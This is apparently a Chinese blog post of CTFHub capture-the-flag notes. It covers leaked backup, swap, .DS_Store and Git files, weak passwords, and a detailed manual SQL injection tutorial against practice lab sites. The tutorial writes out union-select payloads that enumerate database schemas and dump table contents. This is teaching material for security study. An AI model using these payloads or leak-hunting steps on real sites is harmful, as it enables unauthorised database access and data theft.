CTFHub

信息泄露

1.目录遍历:点开文件,在目录中找到Flag(嵌套文件、分别查找)。

2.PHPINFO:开启题目后会得到一个Flag表,ctrl+f输入flag进行搜索,找到flag。

3.备份文件下载:1.网站源码:在kali 中使用dirsearch扫描,在户端中添加./dirsearch.py -u 目标网址 -e*(php),开始扫描,最终找到www.zip,在网址后添加它,在下载那边得到一个www.zip文件,打开文件,复制含有txt的文件到网址后,得到flag。

2.bak文件:在网址后添加/index.php.bak后,在下载那得到index.php.bak文件,打开得到flag。

3.vim缓存:考点vim 交换文件名在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容以 index.php 为例:第一次产生的交换文件名为 .index.php.swp

再次意外退出后,将会产生名为 .index.php.swo 的交换文件

第三次产生的交换文件则为 .index.php.swn

1.使用dirsearch扫描

扫描完成后找到其目标路径,然后再在网址后添加/.index.php.swp得到文件,打开文件得到flag。

4…DS_Store:直接访问.DS_Store(在网址后加/.DS_Store),得到一个隐藏文件,打开发现 $ 9 4 8 d f 1 1 d 9 4 0 3 0 5 9 d 7 c 5 b 0 6 e 6 0 8 d 7 0 2 a 4 . t x tnoteustr f l a g h e r e ! 其中noteustr是注释的意思,使用splmap处理,>>>b=‘9 4 8 d f 1 1 d 9 4 0 3 0 5 9 d 7 c 5 b 0 6 e 6 0 8 d 7 0 2 a 4 . t x t’,>>>b.replace(’ ‘,’'),回车得到948df11d9403059d7c5b06e608d702a4.txt,将其添加网址后得到flag。

5.Git泄露:kali使用GitHack
python GitHack.py url/.git/
1.git log 令用于显示提交日志信息。

2.git show 命令用于显示各种类型的对象。

3.git stash list 当要记录工作日录和索引的当前状态,但想要返回到干净的工作目录时,则使用git stash。 该命令保存木地修改,并恢复工作目录以匹配HEAD提交,这个命令所储藏的修改可以使用git stash list列山。

4.git stash pop 从git 中获取到最近一次stash进去的内容,恢复工作区的内容取之后,会删除栈中对应的stash。

5.git diff 命令用于显示提交和工作树等之间的更改。此命令比较的是工作目录中当前文件和暂存区域快照之间的差异,也就是修改之后还没有暂存起来的变化内容

Log:使用kali中的dirsearch扫描发现有git目录,因此点开 GitHack,记得使用root用户,在GitHack中添加python GitHack.py URL/.git/回车,

进入此目录git log看到flag

git diff 前面两串数字拿到flag

Stash

先用dirsearch扫描,发现有git泄露,因此使用GitHack,添加python GitHack.py URL/.git,回车后利用git stash list 列出Git栈内的所有备份,可以利用这个列表来决定从那个地方恢复。然后利用git stash pop或者git stash apply从Git栈中读取最近一次保存的内容,恢复工作区的相关内容。由于可能存在多个Stash的内容,所以用栈来管理,pop会从最近的一个stash中读取内容并恢复。ls-a查看,cat ~~.txt得到flag。

Index

与Log方法一致

密码口令:1.弱口令:抓包爆破,得到用户名:admin,密码:admin666

2.默认口令:上网查找亿邮邮件网关默认用户和密码

SQL注入

1.整数型注入:知识点:

判断注入点 —— 第一步

找页面与数据库产生交互的地方。

我们找到界面中的 url :

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1
11

这一长串url中 ’ ? ’ 后跟的就是参数id=1,’ ? ’ 表示传参。一般来讲 ’ ? '的内容都是用户可控的。若不存在能够与数据库产生交互的地方,那么sql注入也就自然无处下手了。
这里id=后面的内容就可以进行参数修改啦

传入SQL语句可控参数分为两类

  • 数字类型,参数不用被引号引用 ?id=1
  • 其他类型,参数需要被引号引用 ?name="phone"

我们尝试一下修改参数

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=2
11

可以看到界面的查询结果改变了
在这里插入图片描述

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2
11

在这里插入图片描述
界面报错
证实此处的传参的确将用户输入当做代码执行了,即存在sql注入漏洞。

判断字段数 —— 第二步

使用order by子句,利用网页报错判断字段数,为下一步铺垫
order by 函数具体用法放在这啦,就不详细展开讲了。

ORDER BY 语句用于根据指定的列对结果集进行排序

我们从order by 1 开始尝试

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 1
11
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 2
11
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 3
11

以上操作界面均显示正常
在这里插入图片描述

但是当改为 order by 4 时,界面报错
在这里插入图片描述

由此我们可以得出:说明此处存在三个字段


判断回显点 —— 第三步

接下来我们要使用union select语句,联合查询,通过页面回显找到回显点,再利用其获取我们需要查询的数据。

前置知识:
select 语句用于从表中选取数据。
union 操作符用于合并两个或多个 SELECT 语句的结果集。

注意:

UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名

什么意思呢? 就是联合查询前后的两个表,第一个表的字段数与第二个表的字段数必须相等,否则就会报错。像这样:在这里插入图片描述

那如果一个表的字段数与第二个表的字段数不相等怎么办呢?我们可以进行如下操作手动补全:

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 union select 1,2,3
11

这样就显示正常了
在这里插入图片描述
但我们会发现,这个界面与初始界面一模一样。
因为这里优先显示的是联合查询的第一个结果,而第二个结果未被显示
所以我们只需要在这里使联合查询的第一个结果不显示(使前半段语句为假,则不返回任何内容):

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,3
11

在这里插入图片描述
我们发现”Your Login Name“后显示的是第二个字段的内容
“Password” 后显示的是第三个字段的内容

保险起见我们验证一下:

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,222,333
11

在这里插入图片描述
证实了我们的猜想。
由此可以得到,回显点就在”Your Login Name“和"Password" 后的位置


查询相关内容 —— 第四步

接下来我们利用显错位获取相关内容,这里我们再分几步进行
mysql中的information_schema说明
information_schema : mysql数据库5.0以上版本,自带数据库,记录了mysql下所有的库名,表名,列名等信息。
主要用到以下几个:

  • schemata表 (mysql服务器中所有数据库信息的表)
  • tables表 (mysql服务器中所有表信息的表)
  • columns表(mysql服务器所有列信息的表)
  • table_schema 数据库名
  • table_name 表名
  • column_name 列名

判断库名

MySQL中的 database()函数 返回默认或当前数据库的名称。

在刚刚的回显点加入database函数,以此得到库名

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,database(),database()
11

在这里插入图片描述
获得数据库库名:error

判断表名

为了查询表名,我们将union后的语句改成:

union select 1,table_name,3 from information_schema.tables where table_schema='error'
11

下面对这段语句进行详细解释:

回顾一下 select语句 用于从表中选取数据:

SELECT_(列名1,2,3,…)_ FROM _(表名)

已知回显点在列名2和列名3,我们将需要查询返回的数据放在回显点处。
table_name列在information_schema库的tables表下。
注意这里不能直接写表名tables, 否则它会在error库下找tables表,找不到就会报错。
因此需要使用【库名.表名】的格式:information_schema.tables

where子句 用于规定选择的标准

WHERE_(限定条件)

我们需要查询的是error库的表名,因此在查询中限定table_schema='error'.
也就是返回本张表中所有table_schema这一字段的值为error的数据所对应的table_name值。

好了,现在我们实践一下:

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error'
11

为了显示union select后的内容,我们同样在前面加上and 1=2
在这里插入图片描述得到一个表名:error_flag

判断列名

同理,列column_name在表information_schema.column
union后修改为

union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag'
11

在这里插入图片描述
得到一个列名:ld
但是如何查询其他列名?这里我们需要用到limit子句
limit子句 用于强制 SELECT 语句返回指定的记录数。

LIMIT_(参数1),(参数2)
第一个参数指定第一个返回记录行的偏移量(注意这里从0计数),第二个参数指定返回记录行的最大数目。
第(参数1)+1个数据 到 第(参数1+参数2)+1个数据

实践一下,查询第二个列名 limit 1,1

union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag' limit 1,1
11

在这里插入图片描述
得到第二个列名:flag
当然也可以利用group_concat()函数 一起输出所有列名 (不推荐,有可能回显点有字符输出限制导致输出不完整)

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='error' and table_name='error_flag'
11

在这里插入图片描述

查询具体信息

靶场小任务
在这里插入图片描述
我们现在已经找到了flag字段所在的列名error_flag
接下来直接使用SELECT语句就可以直接查询flag的内容

union select 1,flag,3 from error_flag
11

在这里插入图片描述
得到flag字段的具体信息: zKaQ-Nf

总结

SQL手注四部曲:

  • 判断注入点

id=1 and 1=2

  • 判断字段数

id=1 order by 1

  • 判断回显点

id=1 and 1=2 union select 1,2,3

字符型注入:

原理:

执行数据库查询,并在回显点展示。
用户可以看到数据库查询出错时的错误语句,就可以观察报错语句分析出查询语句结构,从而构造特殊的payload进行注入,并从回显点中获取想要的信息。
(与报错注入不同在拥有回显点,报错注入没有回显点需要通过错误信息查看结果)

注入方法:

根据报错的sql语句信息,查看sql语句样子,继而构造注入语句
构造单引号‘、双引号“、括号)闭合查询语句,直到报错证明注入点存在

地址栏输入#这类的要用16进制编码(网页传输方便的编码)
如:’#’ %23 注释
'- -'注释 一般用- -+即- - 即- -%20
(空格) %20

注入步骤:

(sqli-labs-master第一关演示)
找到注入点
单引号闭合,发生过报错—注入点存在,且观察报错语句是单引号闭合
在这里插入图片描述作为对比观察一下用双引号,没有任何报错信息
在这里插入图片描述

  • ps:为什么会报错呢:因为查询语句为(可以在sqli-labs-master安装目录下找到php源代码查看)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
11
  • 用户正常输入合法的查询数据 即1 2 3的时候语句为
$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";
11
  • 这时就会查询数据库并输出我们想要查询的信息
  • 而当我们输入了单引号的时候,语句就会变成
$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";
11
  • 这样就会产生错误,因为单数个的单引号使得查询语句不能闭合
  • 而当成功闭合查询语句的单引号后如果加上注释符,语句就会变成
$sql="SELECT * FROM users WHERE id='1' #' LIMIT 0,1";
11
  • 注释符后面的无用,可以忽略,因此语句变成
$sql="SELECT * FROM users WHERE id='1' #
11
  • 而#之前的内容是我们可以输入的,于是就可以构造出
$sql="SELECT * FROM users WHERE id='1' order by 3#
11
  • 这样的攻击语句 来获得数据库内部的信息,成功攻击
  • 同理:
$sql="SELECT * FROM users WHERE id='' union select 1,2,3#
11

order by爆字段数
order by 3不报错证明有第三列
order by 3不报错证明有第三列
order by 4的时候报错,证明没有第四列
order by 4的时候报错,证明没有第四列

union select 1,2,3爆回显点
这里回显点为第2,3位
在这里插入图片描述

  • ps:联合查询如果前面得到了结果就不会执行后面的了,所以要id=’ union select ……
  • 让前面查询结果为空

于是:

union select 1,database(),version()%23   # 通过回显点查询需要信息
11

在这里插入图片描述

  • information_schema库:mysql自带的库,内有所有数据库的所有信息
  • 如:所有的表名tables和字段columns库名schemata
  • 因此可以利用来获取表名和列名
' union select 1,group_concat(table_name),user() from information_schema.tables where table_schema = database() %23  # 查出表名
11

在这里插入图片描述

  • 获取多个数据只有一个显示位置用group_concat拼接,拼接,隔开,或者limit一条一条查询也行

继续:

' union select 1,group_concat(column_name),user() from information_schema.columns where table_name = ‘emails’ %23
11

获取列名
在这里插入图片描述

  • where条件是字符串的话要加引号,且注意是英文引号

继续获取到表内内容

' union select 1,2,group_concat(email_id) from emails --+
11

在这里插入图片描述成功获取到邮箱表内email_id列的内容

  • 同理 获取邮箱表内id列的内容
' union select 1,2,group_concat(id) from emails --+
11

数字型注入

原理

同字符型注入

步骤

同字符型注入

不同:

sql语句不带’具体详见sql_lab less 1 和less 2 的区别,
因为数字可以不带’所以数字型报错注入的sql语句如:where id = 而不是where id =’’

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  # 数字
1212

数字型注入不需要注释,也可以注释,因为注释只是为了注释掉我们闭合后剩余的’

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值